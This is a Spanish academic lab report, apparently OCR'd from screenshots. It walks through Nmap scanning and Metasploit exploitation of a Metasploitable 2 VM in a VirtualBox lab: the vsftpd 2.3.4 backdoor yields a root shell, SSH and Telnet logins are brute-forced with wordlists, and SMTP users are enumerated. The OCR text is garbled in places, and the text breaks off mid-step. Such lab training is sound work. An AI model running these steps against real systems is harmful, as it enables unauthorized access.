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1. INTRODUCCION

En el presente informe se documenta detalladamente el proceso de explotacion de
vulnerabilidades dentro de un entorno virtualizado, haciendo uso de herramientas especializadas
en ciberseguridad como VirtualBox, Kali Linux y Metasploitable 2. Esto se lleva a cabo en un
entorno controlado, disefiado especificamente para fines educativos y préacticos, con el propdsito
de simular escenarios reales de ataque que permitan fortalecer la comprension sobre técnicas

ofensivas utilizadas por los atacantes en el mundo real.

El desarrollo de esta préctica abarca desde la configuracién e identificacion de redes IP
del entorno de VirtualBox, hasta la ejecucién de escaneo de puertos, deteccidn de servicios
vulnerabilidades y la explotacion de puertos abiertos. En total, se trabajé con 10 puertos
diferentes: 21 (FTP), 22 (SSH), 23 (TELNET), 25 (SMTP), 53 (DNS), 139/445 (SAMBA), 2121
(FTP), 3306 (MySQL) y 5432 (PostgreSQL.), aplicando modulos del framework Metasploit para
demostrar cOmo se puede obtener acceso no autorizado o recolectar informacién sensible cuando

un sistema presenta fallas en su configuracion o en el software que ejecutan.
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2. OBJETIVOS

2.1 Objetivo general

Realizar un analisis de vulnerabilidades y explotar puertos de una maquina vulnerable

mediante el uso del sistema operativo Kali Linux y el framework Metasploit.

2.2 Objetivos especificos

e Configurar adecuadamente el entorno virtual en VirtualBox con redes NAT para
Kali Linux y Metasploitable 2.

¢ Identificar las direcciones IP de las m&quinas virtuales para establecer la
comunicacion.

e Ejecutar escaneos de puertos y servicios mediante Nmap para descubrir las
posibles vulnerabilidades.

e Buscar los exploits disponibles para cada servicio o puerto detectado.

e Configurar y utilizar los modulos de Metasploit para explotar los puertos 21, 22,
23, 25, 53, 139, 445, 2121, 3306 y 5432.

e Comprobar los resultados obtenidos luego de cada explotacién, validando el

acceso o la informacion recolectada.
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3. ALCANCE

Este informe se enfoca en mostrar el proceso de identificacion y explotacion de
vulnerabilidades en una maquina virtual vulnerable utilizando las maquinas Kali Linux (como
atacante) y Metasploitable 2 (como victima), ambas virtualizadas en VirtualBox. Se trabaj6 con

un total de 10 puertos abiertos, donde se configuraron distintos modulos de Metasploit para
simular ataques reales con fines académicos.
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4. PLANTEAMIENTO DEL PROBLEMA

Realizar un escaneo utilizando Kali Linux y Metasploitable 2 en VirtualBox, con el fin de
identificar y explotar vulnerabilidades de los puertos 21 (FTP), 22 (SSH), 23 (TELNET), 25
(SMTP), 53 (DNS), 139/445 (SAMBA), 2121 (FTP), 3306 (MySQL) y 5432 (PostgreSQL).

5. DESARROLLO
5.1 Configuracion de red NAT en VirtualBox

Para establecer comunicacion entre Kali Linux y Metasploitable 2, es necesario
configurar la red en VirtualBox. En primer lugar, accedemos a la seccion de Herramientas del

menu de VirtualBox. Alli, hacemos clic en la opcion Red.

Oracle VirtualBox Administrador

Archive Maquina BRed Ayuda

r‘? - .-3 Bienvenido

!
!

ciim  kali-linuoe-2025.1c-w.
v O Apagada

wiZim,  Parrot Security
' @ Apagada

. tl-osint-2024.2-virtuw...
L '@'ﬁ'-.pagada

Metasploitable3-ub...
@
llustracién 1. Seccion de herramientas de VirtualBox

Luego, en la pestafia “Redes NAT”, se cred una nueva red a la cual se le puso un

nombre de red, una direccion IP, se habilité el DHCP para que asigne automéaticamente

direcciones IP a las maquinas virtuales y se le dio clic en aplicar.
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Oracle VirtualBox Administrador

Archivo Maquina Red Ayuda

g W g

Crear  Eliminar  Propiedades

kali-linusx-2025.1c-v_.. Redes solo-anfitrion =~ Redes NAT  Redes en la nube

@ Apagada = =
MNombre = Prefijo [P Prefijo IPvE Servidor DHCP
Semestre9-2025-1 i Habilitado

Parrot Security

@ Apagada

y  t-osint-2024.2-virtu...
@ Apagada

Opciones generales Beenvio de puertos
= Metasploitable3-ub...
, @ Apagada

Mombre:

2Vl metasploitable3-wo... L
008 @ Apagad
Apagada v Habilitar DHCP

:".n....‘ WINDOWS XP Habilitar IPvE
g @ Apagada

Metasploitable 2
()] Apagada

lustracion 2. Configuracion de Redes NAT

Posteriormente, en cada una de las maquinas virtuales, es decir, en Kali Linux y
Metasploitable 2 damos clic en configuracion.

Cracle VirtualBox Administrador

Archive Maquina Ayuda

;: Herramientas * + ﬁ 9 o

P ~ | Configuracion (Ctrl+5)
Mueva Afadir | C¢-°"d onv L

Iniciar
E General Previsualiza

MNombre:

Sisterma operat Debian (64-bit)

lustracién 3. Seccion de Kali Linux
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= Oracle VirtualBox Administrador

Archivo

Y
'

Maquina Ayuda

. g

Iniciar

.+ B

Anadir

Herramientas

14
'

MNueva Configuracion

=l
ﬂ"- kali-limune-2025.1c-virtu... = General
Mombre:
Sisterna operativo:

Configuracién (Ctrl+5) [evisualizacién

Metasploitable 2
Ubuntu (32-bit)

o Apagada

Sistema

Mernoria base:
Orden de arranque:

; Metasploita
g, Optica,

lustracion 4. Seccion de Metasploitable 2

Después de haber dado clic en Configuracion, en la nueva ventana nos vamos a la parte
de Red y habilitamos el Adaptador 1, en la opcion “Conectado a” desplegamos el menu y
seleccionamos Red NAT, en nombre nos aseguramos de escoger la red con el nombre que
creamos previamente y en el Modo promiscuo cambiamos la opcién Denegar por Permitir

todo. (Realizar esto en ambas maquinas)

B kali-linux-2025.1c-virtualbox-amd64 - Settings

Basic

=
General
Sistema
Pantalla
Almacenamiento
Audio
Red
Puertos serie
USB
Carpetas compartidas

Interfaz de usuario

Red

Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4

v Habilitar adaptador de red

Conectado a:  Red NAT
Mombre: Semestre9-2025-1
Tipo de adaptador:  Intel PRO/1000 MT Desktop (82540EM)
Mode promiscuo:  Permitir todo
Direccion MAC TB4AAT05

+ Cable conectado

Puertos serie

Aceptar Cancelar

llustracion 5. Configuracion de Red NAT en Kali Linux

Ayuda
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# Metasploitable 2 - Settings

Expert
General Red

Sistema Adaptador1  Adaptador2 =~ Adaptador3  Adaptador4

v Habilitar adaptador de red
Pantalla

Conectado a2 Red NAT

Almacenamiento
Mombre:  Semestred9-2025-1

Audio Tipo de adaptador:  PCnet-PCl Il (Am79C970A)

Red Modo promiscuo: | Permitir todo

Puertos serie Direccion MAC:

v Cable conectado
USB
Carpetas compartidas

E Interfaz de usuario 5
Puertos serie

S [ T

Invalid settings detected [al Aceptar Cancelar

lustracion 6. Configuracion de Red NAT en Metasploitable 2

5.2 Iniciar las maquinas virtuales

Iniciamos o ponemos a correr la maquina virtual de Kali Linux y Metasploitable 2, en

ambas iniciamos sesion.

7

Archive Maquina Ver Entrada Dispositivos Ayuda

= Starting periodic command scheduler crond
= Btarting Tomcat servlet engine tomcat5.5
= Starting web server apache2

* Running local boot scripts (retcrsrc.local)
nohup: appending output to “nohup.out’

nohup: appending output to “nohup.out’

arning: Never expose this UM to an untrusted network!?

ontact: msfdevliatlmetasploit.com

Login with msfadminsmsfadmin to get started

etasploitable login: msfadmin

3 CTRL DERECHA

lustracién 7. Iniciando sesién en Metasploitable 2
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Archivo Maquina Ver Entrada Dispositivos Ayuda

»

llustracion 8. Iniciando sesién en Kali Linux

5.3 Identificacion de las IPs en Kali Linux y Metasploitable 2

En la terminal de ambas méaquinas escribimos el comando ifconfig para identificar la

direccién IP asignada por DHCP en el puerto ethO.

-
Archivo Maquina Ver Entrada Dispositivos Ayuda

To access official Ubuntu documentation, please visit:
thttp:sshelp.ubuntu.com/
o mail.
sfadnin@metasploitable:™S ifconfig
etho Link encap:Ethernet HWaddr 08:00:27:ca:8c:74
inet addr:192.168.10.5 Bcast:192.168.10.255 Mask:255.255.255.0
inetb addr: feB0::a00:27ff :feca:8c?4-64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:15 errors:0 dropped:0 overruns:0 frame:0
TX packets:91 errors:0 dropped:0 overruns:Q carrier:0
collisions:0 txqueuelen:1000
RX bytes:3820 (3.7 KB) TX bytes:9703 (9.4 KB)
Interrupt:9 Base address:0xd0Z0

Link encap:Local Loopback

inet addr:127.0.0.1 HMask:255.0.0.0

inetb6 addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:147 errors:0 dropped:0 overruns:0 frame:0
TX packets:147 errors:® dropped:® overruns:0 carrier:0
collisions:0 txqueuelen:0O

R¥X bytes:39627 (38.6 KB) TX bytes:39627 (38.6 KB)

sfadmin@netasploitable:™5 _

8o &mE I3 CTRL DERECHA
lustracion 9. IP de Metasploitable 2
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Archivo Maquina Ver Entrada Dispositivos Ayuda

= PO 2 3 4]~

N

1] indu@kali: ~
File Actions Edit View Help

ifconfig
etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.10.4 netmask 255.255.255.0 broadcast 192.168.10.255
inet6 fe80::1b50:5edl:ab5a:67f7 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:b4:a1:05 txqueuelen 1000 (Ethernet)
RX packets 25 bytes 4996 (4.8 KiB)
RX errors @ dropped @ overruns @ frame 0@
TX packets 29 bytes 3722 (3.6 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors @ dropped @ overruns @ frame 0@
TX packets 8 bytes 480 (480.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

lustracién 10. IP de Kali Linux

5.4 Escaneo de puertos vulnerables en Metasploitable 2 desde Kali Linux

En Kali Linux procedemos a realizar un escaneo de puertos utilizando Nmap. Como
primero ingresamos en el modo superusuario con el comando sudo su y luego ingresamos la

contrasefia de Kali Linux.

—% sudo suw

[sudo] password for indu:

Jhome/indu

lustracién 11. Modo superusuario

5.4.1 Escaneo de puertos con Nmap

Con el comando Nmap --help podemos ver un resumen completo de las opciones,

comandos y parametros que podemos utilizar al ejecutarlo.
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: root@kali: /homefindu

File Actions Edit View Help

/home/indu
elp
Nmap 7.95 ( https://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-ilL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
—exclude <hostl[,host2][,host3], ... >: Exclude hosts/networks
—excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -— skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN, TCP ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
-——dns-servers <servl[,serv2], ...>: Specify custom DNS servers
—system-dns: Use 0S's DNS resolver
-——traceroute: Trace hop path to each host
SCAN TECHNIQUES:
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
——-scanflags <flags>: Customize TCP scan flags
-sI <zombie host[:probeport]>: Idle scan
-sY/sZ: SCTP INIT/COOKIE-ECHO scans
-s0: IP protocol scan
-b <FTP relay host>: FTP bounce scan

lustracién 12. Comandos de Nmap --help

Traduccion de la ilustracion 12
Especificacion del objetivo
-iL <archivo>: Importar lista de objetivos desde un archivo
-iR <nUmero>: Elegir objetivos aleatorios
--exclude <host1,host2,...>: Excluir determinados hosts/redes

--excludefile <archivo>: Lista de exclusién desde un archivo

Descubrimiento de hosts

-sL: Solo listar objetivos sin escanear
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3

-sn: Escaneo Ping — desactiva escaneo de puertos

-Pn: Tratar todos los hosts como activos, sin hacer descubrimiento de hosts

-PS/PA/PU/PY [puertos]: TCP SYN, ACK, UDP o SCTP para descubrimiento en puertos

especificos

-PE/PP/PM: ICMP echo, timestamp, y peticiones de mascara de red
-PO[lista de protocolos]: Escaneo por protocolos IP

-n/-R: Nunca hacer resolucién DNS / Siempre hacerla (por defecto: a veces)
--dns-servers <servidorl,servidor2,...>: Usar DNS personalizados
--system-dns: Usar el resolutor de DNS del sistema

--traceroute: Hacer traceroute hacia cada host

Técnicas de escaneo

-sS/-sT/-sAl-sW/-sM: Escaneos TCP SYN/Connect/ACK/Window/Maimon
-sU: Escaneo UDP

-sN/-sF/-sX: Escaneos TCP Null, FIN y Xmas

--scanflags <banderas>: Personalizar banderas TCP

-sl <host zombie>: Escaneo sigiloso Idle

-sY/-sZ: Escaneo de protocolos SCTP INIT/COOKIE-ECHO

-sO: Escaneo por protocolos IP

-b: Escaneo FTP bounce (rebotado)
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¢ root@kali: /home/indu

File Actions Edit View Help

PORT SPECIFICATION AND SCAN ORDER:
-p <port ranges>: Only scan specified ports
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,5:9
——exclude-ports <port ranges>: Exclude the specified ports from scanning
-F: Fast mode - Scan fewer ports than the default scan
-r: Scan ports sequentially - don't randomize
--top-ports <number>: Scan <number> most common ports
—port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
-sV: Probe open ports to determine service/version info
-—version-intensity <level>: Set from @ (light) to 9 (try all probes)
—version-light: Limit to most likely probes (intensity 2)
——version-all: Try every single probe (intensity 9)
—version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
-sC: equivalent to --script=default
——script=<Lua scripts>: <Lua scripts> is a comma separated list of
directories, script-files or script-categories
--script-args=<nl=v1,[n2=v2, ... ]>: provide arguments to scripts
--script-args-file=filename: provide NSE script args in a file
-—-script-trace: Show all data sent and received
-—script-updatedb: Update the script database.
——script-help=<Lua scripts>: Show help about scripts.
<Lua scripts> is a comma-separated list of script-files or
script-categories.
0S DETECTION:
-0: Enable 0S detection
—osscan-limit: Limit OS detection to promising targets
--osscan-guess: Guess 0S more aggressively
TIMING AND PERFORMANCE:
Options which take <time> are in seconds, or append ‘ms’ (milliseconds),
's" (seconds), ‘m’ (minutes), or 'h' (hours) to the value (e.g. 30m).
-T<@-5>: Set timing template (higher is faster)

llustracion 13. Comandos de Nmap --help

Traduccion de la ilustracion 13
Especificacion de Puertos y Orden de Escaneo
-p <rangos>: Escanear solo los puertos especificados
Ejemplo: -p22, -p1-65535, -p U:53,111,137,T:21-25,80,139,8080,S:9
--exclude-ports <rangos>: Excluir puertos especificos del escaneo
-F: Modo rapido — escanea menos puertos que el escaneo por defecto
-r: Escanear puertos secuencialmente (sin aleatoriedad)
--top-ports <nimero>: Escanea los <n> puertos mas comunes

--port-ratio <valor>: Escanear puertos con una proporcién mayor a <valor>
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Deteccion de Servicios/Versiones
-sV: Abrir puertos para determinar version del servicio

--version-intensity <0-9>: Nivel de intensidad del escaneo de versiones (0 = minimo, 9 =

maximo)
--version-light: Usar solo pruebas méas comunes (intensidad 2)
--version-all: Probar todas las posibles detecciones (intensidad 9)

--version-trace: Mostrar actividad detallada del escaneo de versiones (para depuracién)

Escaneo con Scripts
-sC: Equivalente a --script=default

--script=<scripts>: Lista separada por comas de scripts Lua, carpetas, archivos o

categorias
--script-args=clavel=valorl,[clave2=valor2,...]: Argumentos para los scripts
--script-args-file=<archivo>: Argumentos desde un archivo
--script-trace: Muestra todo el trafico enviado y recibido por los scripts
--script-updatedb: Actualiza la base de datos de scripts

--script-help=<scripts>: Muestra ayuda sobre los scripts especificados

Deteccion de Sistema Operativo
-O: Habilita la deteccidn de sistema operativo
--osscan-limit: Limita la deteccién OS solo a objetivos prometedores

--0sscan-guess: Intenta adivinar el sistema operativo si no hay coincidencia clara
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Ahora para ver los puertos abiertos en la maquina victima (Metasploitable 2), utilizamos

el comando Nmap -sn y la direccién IP de la victima.

/home/indu
192.168.
Starting Nmap 7.95 ( . rg ) at 2025-98-06 17:
Nmap scan rep ;
Host is up (@.0@0045s5 lat g
MAC Address: @8:00:27:41:76:61 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap scan rep

Host 1s up ( .

MAC Address: @8:00:27:CA: ! Systemtechnik/Oracle VirtualBox wirtual NIC)
Nmap scan report for 1

Host is up.

Nmap done:

lustracion 14. Comando Nmap -sn

Siguiente de eso vamos a ver los puertos que estan abiertos, los servicios y las versiones

que estan corriendo con el comando Nmap -sV y la direccion IP de la victima.

/home/indu

192.168.10.5/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-06 17:25 EDT
Nmap scan report for 192.168.10.3
Host is up (@.00056s latency).
All 1000 scanned ports on 192.168.10.3 are in ignored states.
Not shown: 1000 filtered tcp ports (proto-unreach)
MAC Address: 08:00:27:41:76:61 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.10.5

Host is up (0.0097s latency).

Not shown: 977 closed tcp ports (reset)

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntul (protocol 2.0)
23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd

513/tcp open login?

514/tcp open shell Netkit rshd

1099/tcp open java-rmi GNU Classpath grmiregistry

1524/tcp open bindshell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProfFTPD 1.3.1

3306/tcp open mysqgl MySQL 5.0.51a-3ubuntub

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open vnc VNC (protocol 3.3)

llustracion 15. Puertos abiertos de la maquina victima
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74 (PC temtechnik rtualB irtual NIC)
asploitable.localdomain, irc. asploitable.LAN; 0Ss: Unix, Linux; CPE:

A11 0o anne b ' . are in ignored
Not shown: lLLL closed tcp ports ( o

//nmap.org/submit/

llustracion 16. Puertos abiertos de la maquina victima

5.5 Iniciar Metasploit Framework

Ya vistos todos los puertos abiertos de la victima podemos iniciar el proceso de
explotacion de los puertos ya mencionados en el planteamiento del problema. Estando en la
consola de Kali Linux y en el modo superusuario ejecutamos el comando msfconsole para iniciar

el framework de metasploit.

/home/indu
tco
Metasploit tip: Use the ‘'capture’ plugin to start multiple
authentication-capturing and poisoning services

ds, dsp
BP d888888p
288"
dsp 28b 88P
dsP d88ssb $whizssb 88b
288, .d88h, d88 dsP' 788 88P “78b
"?88' 788 788 88b d88 d88
88b d8P 88b°?8888P

1610 payloads - 49 encoders - 13 nops

[ 2&96 exp101ts - 1283 aux111ary - 431 post
[
[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

msf6 > |j

llustracion 18. Framework de metasploit
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Una vez iniciado el framework, se podemos empezar a buscar exploits segun los servicios

detectados durante el escaneo de puertos.

5.6 Explotacion del puerto 21 (FTP)

El puerto 21 (FTP) tiene la version vsftpd 2.3.4, en la consola de Kali buscamos el

maodulo del puerto con el comando search y la version del puerto.

msf6 > search vsftpd 2.3.4

Matching Modules

# Name Disclosure Date Rank Check Description

@ exploit/unix/ftp/¥sftpd 234 _backdoor 2011-07-03 :xcellent No VSFTPD v2.3.4 Backdoor Command Exe
cution

Interact with a module by name or index. For example info 0

llustracion 19. Buscar exploit del puerto 21

Y con el comando use seleccionamos el exploit del puerto 21 que aparece en el mddulo
con el numero 0.
msfé > use @

Mo payload configured, defaulting to cmd/unix/interact
msfé exploit( - |

lHustracion 20. Usar exploit del puerto 21

Utilizamos el comando options para ver las opciones del exploit.

msf6 exploit( ) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description

CHOST no The local client address

CPORT no The local client port

Proxies no A proxy chain of format type:host:port[,type:host:port][ ... ]

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploi
t/basics/using-metasploit.html

RPORT 21 yes The target port (TCP)

lHustracion 21. Comando options
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Luego de ver las opciones vamos a configurar el exploit agregando la direccion IP de la

victima en el RHOSTS con el comando set rhost y verificamos que se haya hecho el cambio.

msf6 exploit( ) > set rhost 192.168.10.5
rhost = 192.168.10.5
msf6 exploit( ) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description

CHOST no The local client address

CPORT no The local client port

Proxies no A proxy chain of format type:host:port

RHOSTS 192.168.10.5 yes The target host(s), see https://docs.m
t/basics/using-metasploit.html

RPORT 21 yes The target port (TCP)

lustracién 22. Asignando direccién IP al RHOSTS

Y también configuramos el PAYLOAD.

msf6 exploit( ) > set payload cmd/unix/interact
payload = cmd/unix/interact
msf6 exploit( N |

llustracion 23. Configuracion del Payload

Ahora si procedemos a hacer la explotacion con el comando exploit y una vez la sesion
iniciada ejecutamos el comando whoami para verificar acceso y salimos de ahi presionando las
teclas CTRL + Zy luegoen Y.

6 exploit > exploit
192.168.10.5:21 - Banner: 220 (vsFTPd 2.3.4)
192.168.10.5:21 USER: 331 Please specify the password.
192.168.10.5:21 Backdoor service has been spawned, handling...
192.168.10.5:21 - UID: uid=0(root) gid=0(root)
Found shell.

Command shell session 1 opened (192.168.10.4:41485 — 192.168.10.5:6200) at 2025-08-06 18:52:40 -0400

whoami
root

llustracion 24. Explotacion del puerto 21 (FTP)

5.7 Explotacion del puerto 22 (SSH)

pag. 24



En la consola de Kali dentro del framework de metasploit buscamos el médulo del puerto

22 con el comando search ssh_login.

msf6 > search ssh_login

Matching Modules

Name

auxiliary/scanner/ssh/SSh_login

auxiliary/scanner/ssh/ssh_loegin_pubkey

Interact with a module by name or ind

Disclosure Date Rank Check Description

normal No SSH Login Check Scanner
normal No SSH Public Key Login Scanner

ex. For example

lustracion 25. Buscar exploit del puerto 22

Y con el comando use seleccionamos el exploit del puerto 22 que aparece en el modulo

con el nimero O.

lustracion 26. Usar exploit del puerto 22

Utilizamos el comando options para ver las opciones del exploit.

File Actions Edit View Help

msf6 auxiliary(

root@kali: /home/indu

) > options

Module options (auxiliary/scanner/ssh/ssh_login):

Name Current Setting
ANONYMOUS_LOGIN false
BLANK_PASSWORDS  false
BRUTEFORCE_SPEED 5

CreateSession true
DB_ALL_CREDS false
DB_ALL_PASS false
DB_ALL_USERS false
DB_SKIP_EXISTING none

PASSWORD
PASS_FILE
RHOSTS

RPORT
STOP_ON_S
THREADS
USERNAME
USERPASS_FILE

USER_AS_PASS false

USER_FILE
VERBOSE false

View the full module info with the

Required Description

yes
no
yes
no
no
no
no
no

no
no

Attempt to login with a blank username and password

Try blank passwords for all users

How fast to bruteforce, from @ to 5

Create a new session for every successful login

Try each user/password couple stored in the current database
Add all passwords in the current database to the list

Add all users in the current database to the list

Skip existing credentials stored in the current database (Accep
ted: none, user, useré&realm)

A specific password to authenticate with

File containing passwords, one per line

The target host(s), see https://docs.metasploit.com/docs/using-
metasploit/basics/using-metasploit.html

The target port

Stop guessing when a credential works for a host

The number of concurrent threads (max one per host)

A specific username to authenticate as

File containing users and passwords separated by space, one pai
r per line

Try the username as the password for all users

File containing usernames, one per line

Whether to print output for all attempts

command .

lustracion 27. Comando options
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Luego de ver las opciones vamos a configurar el exploit agregando la direccion IP de la

victima en el RHOSTS con el comando set rhost y verificamos que se haya hecho el cambio.

> rhost 192.168.10.5
) > options

Module options (auxilia anner/ssh/ssh_login):

Name Curre Sk ing : ire Description

ANONYMOUS_LOGIN
ELANK_PASSWORDS
BERUTEFOR( SPEED
teSession
DE_ALL_CREDS
DE_ALL_PASS
DBE_ALL_USERS
DE_SKIP_EXISTING L g :
ted: none, : 1 Lm)
A specific p: authentica

RPORT
STOP_ON_SUCCESS
THREADS
USERNAME
USERPASS_FILE

USER_AS_PASS
USER_FILE

llustracion 28. Asignando direccion IP al RHOSTS

En otra terminal de Kali Linux en el modo superusuario, accedemos a la carpeta donde
se encuentran los diccionarios utilizando el comando cd /usr/share/metasploit-
framework/data/wordlists. En esa ubicacion se encuentran varios archivos predefinidos que
contienen listas comunes de nombres de usuario y contrasefias. Y una vez dentro de la carpeta

ejecutamos el comando Is.

root@kali: fusr/share/metasploit-framework/data/wordlists

File Actions Edit View Help

/home/ind

/usr/share/metas

llustracion 29. Carpeta de diccionarios
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/usr/share/metasploit-framework/data/wordlists

mmon . txt
ault_pass.txt

llustracién 30. Listado de archivos

Ya viendo la lista de los archivos copiamos uno llamado root_userpass.txt, en la otra
terminal de Kali donde tenemos el framework de metasploit iniciado, escribimos el comando set

USERPASS_FILE y seguido la carpeta de diccionarios y el archivo que habiamos copiado.

lustracion 31. Configuracion de USERPASS_FILE

Con el comando options verificamos que se haya hecho el cambio.

USERPASS_FILE /usr/share/metasploi File containing users a
t-framework/data/wor ds separated by space,
dlists/root_userpass er line
LIxt

USER_AS_PASS false Try the username as the

for all users

USER_FILE File containing usernam

r line

VERBOSE Whether to print output

ttempts

View the full module info with the info info -d command.

msf6 auxiliary(

lustracion 32. Comando options
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Y por ultimo ejecutamos el comando run para hacer la explotacion del puerto 22. Una

vez hecha la explotacion podremos ver el usuario y la contrasefia que estén almacenados alli.

- Starting brutef
: ‘'msfadmin: m;+adm1n ‘uid= lDDnlm;++dm1n| 91d—1DDD|m3++dm1n
. 4(cdrom) (flo ) audio) i : 46 plu
111|1padm1n| 112 in) ( a g sploita
erver #1 SMP Thu Apr 1@ 13:5
ession 1 opened (192.168.10.4:34513 — y H ; —@B-07 90:26:50

168.10.5 - SUFFPSS' 'usn r’ r) groups=1001(us
B P8 1686 GNU/L

5¢ 25-08-07 e0:27:01
-p400
Scanned 1 of 1 ho
y module cution comp

llustracion 33. Explotacion del puerto 22 (SSH).

5.8 Explotacion del puerto 23 (TELNET)

En la consola de Kali dentro del framework de metasploit buscamos el médulo del puerto

23 con el comando search telnet_login.

msf6 > search telnet_login

Matching Modules

# Name Disclosure Date
Rank Check Description

@ auxiliary/admin/http/netgear pnpx_getsharefolderlist_auth_bypass 2021-09-06
normal Yes Netgear PNPX_GetShareFolderList Authentication Bypass

1 auxiliary/scanner/telnet/telnet_login
normal No Telnet Login Check Scanner

Interact with a module by name or index. For example
er/telnet/telnet log

llustracion 34. Buscar exploit del puerto 23

Y con el comando use seleccionamos el exploit del puerto 23 que aparece en el modulo

con el nimero 1.
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lustracion 35. Usar exploit del puerto 23

Utilizamos el comando options para ver las opciones del exploit.

il root@kali: fhomefindu
File Actions Edit View Help

; the full module info with the info, or info -d command.
) > options
lnet_login):

ription

1sploit.com/do
isploit.html
RPORT g
STOP_ON_S 5S¢ L 5¢ . g i ent W for a host
THREADS r 3
USERNAME

USER_AS_PAS: alse : £ issword for all user
USER_FILE 1 m one per line
VERBOSE 1 WE :

lustracion 36. Comando options

Luego de ver las opciones vamos a configurar el exploit agregando la direccion IP de la

victima en el RHOSTS con el comando set rhosts.

192.168.10.5

lustracién 37. Asignando direccién IP al RHOSTS
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En la otra terminal de Kali Linux en el modo superusuario, accedemos nuevamente a la
carpeta donde se encuentran los diccionarios utilizando el comando cd /usr/share/metasploit-

framework/data/wordlists. Y una vez dentro de la carpeta ejecutamos el comando Is.

Copiamos el archivo root_userpass.txt y en la otra terminal de Kali donde tenemos el
framework de metasploit iniciado escribimos el comando set USERPASS_FILE y seguido la

carpeta de diccionarios y el archivo que habiamos copiado.

et USERPASS FILE /fusr/shar

wordlists/root_u

lustracion 38. Configuracion de USERPASS_FILE

Con el comando options verificamos que se haya hecho el cambio.

root@kali: fhome/indu
Actions Edit View Help

) > options
Module s ili ca lnet_login):
Name Required Description

ANONYMO G : ¥ ipt to login with a blank userna and password
BLANK_

sful 1 n
in the current

to the list
current d:

: none, user,
password to authent

tasploit.com/
sploit.html
RPORT
STOP_ON_SUCCE
THREADS
USERNAME

USER_AS_PASS
USER_FILE
VERBOSE

lustracion 39. Comando options
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Y por ultimo ejecutamos el comando exploit para hacer la explotacion del puerto 23.
Metasploit lo que hara es ir validando los datos uno por uno de los que estan en el archivo

root_userpass.txt hasta encontrar el usuario y la contrasefia correcta.

loit

tial data will e
LOGIN FAILED: root:dbps ( [}
LOGIN FAILED: root:ibm (Inco:
LOGIN FAILED: root:monitor (
LOGIN FAILED: root:t
LOGIN FATLED: root:
Login S

min:msfadmin
@8-07 B2:16:31 -0400

)
.1
1l
)
.1
51l
.1
1@,

llustracion 40. Explotacion del puerto 23 (TELNET).

5.9 Explotacion del puerto 25 (SMTP)

En la consola de Kali dentro del framework de metasploit buscamos el médulo del puerto

25 con el comando search smtp_enum.

msfé > search smtp_enum

Matching Modules

#  Name Disclosure Date Rank Check Description

@ auxiliary/scanner/smtp/Smtp_enum . normal No SMTP User Enumeration Utility

ct with a module by name or index. For e

lustracion 41. Buscar escaner del puerto 25

Y con el comando use seleccionamos el escaner del puerto 25 que aparece en el médulo

con el nimero 0. Ya que el puerto 25, no tiene como un “exploit” que abra una Shell.

> use @

msf6 auxiliary(

llustracion 42. Usar escaner del puerto 25
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Utilizamos el comando options para ver las opciones del archivo.

msf6 auxiliary( ) > options

Module options (auxiliary/scanner/smtp/smtp_enum):

Name Current Setting Required Description
RHOSTS yes The target host(s), see https://docs.metas
ploit.com/docs/using-metasploit/basics/usi
ng-metasploit.html
RPORT 25 The target port (TCP)
THREADS 1 The number of concurrent threads (max one
per host)
UNIXONLY true Skip Microsoft bannered servers when testi
ng unix users
USER_FILE /usr/share/metasploit-fra The file that contains a list of probable
mework/data/wordlists/uni users accounts.
X_users.txt

lustracion 43. Comando options

Luego de ver las opciones vamos a configurar el archivo escaner agregando la direccion

IP de la victima en el RHOSTS con el comando set rhosts.

lustracién 44. Asignando direccién IP al RHOSTS

En la otra terminal de Kali Linux en el modo superusuario, accedemos nuevamente a la
